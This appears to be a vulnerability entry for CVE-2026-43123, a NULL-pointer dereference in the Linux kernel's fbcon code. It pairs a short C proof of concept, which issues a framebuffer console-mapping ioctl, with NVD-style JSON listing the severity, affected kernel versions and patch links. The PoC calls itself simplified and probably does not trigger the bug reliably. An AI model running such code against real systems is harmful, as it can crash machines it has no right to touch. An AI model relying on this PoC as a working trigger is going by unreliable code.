CVE-2026-43123

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <linux/fb.h> #include <sys/ioctl.h> /* * PoC for CVE-2026-43123 * This Proof of Concept attempts to trigger the fbcon vulnerability * by manipulating framebuffer device ioctls to reach the con2fb_acquire_newinfo path. * Note: Actual triggering conditions depend on specific kernel state. */ int main() { int fb_fd = open("/dev/fb0", O_RDWR); if (fb_fd < 0) { perror("Failed to open framebuffer device"); return 1; } // Attempting to trigger the vulnerable code path. // The vulnerability occurs during console mapping logic. // This is a simplified representation. struct fb_con2fbmap map; map.console = 1; map.framebuffer = 0; // This ioctl may trigger the con2fb logic internally if (ioctl(fb_fd, FBIOPUT_CON2FBMAP, &map) < 0) { perror("ioctl failed"); close(fb_fd); return 1; } printf("Payload sent. Check kernel logs for Oops."); close(fb_fd); return 0; }

{"cve": {"id": "CVE-2026-43123", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:29.180", "lastModified": "2026-05-12T21:17:55.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbcon: check return value of con2fb_acquire_newinfo()\n\nIf fbcon_open() fails when called from con2fb_acquire_newinfo() then\ninfo->fbcon_par pointer remains NULL which is later dereferenced.\n\nAdd check for return value of the function con2fb_acquire_newinfo() to\navoid it.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.23", "versionEndExcluding": "5.15.203", "matchCriteriaId": "67E17AC6-4F6C-4B24-9825-9C2DE3794E62"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/011a0502801c8536f64141a2b61362c14f456544", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/0b038c0be6827dd2dbb1ce4f8d92d97c80cbe9cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/11a93180a70bb3095a9bd80d113d9277e30d9959", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3b5a754ec86bc6064af9aca76eb191c2405e6b0c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a785c4e2a999c2d51dfcf40d317cfb30cc735d2c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d3e535533767c85788529e626478718b7e95a59f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f57b61624c86ef8f87f6e6b7dd0755de03d90e89", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}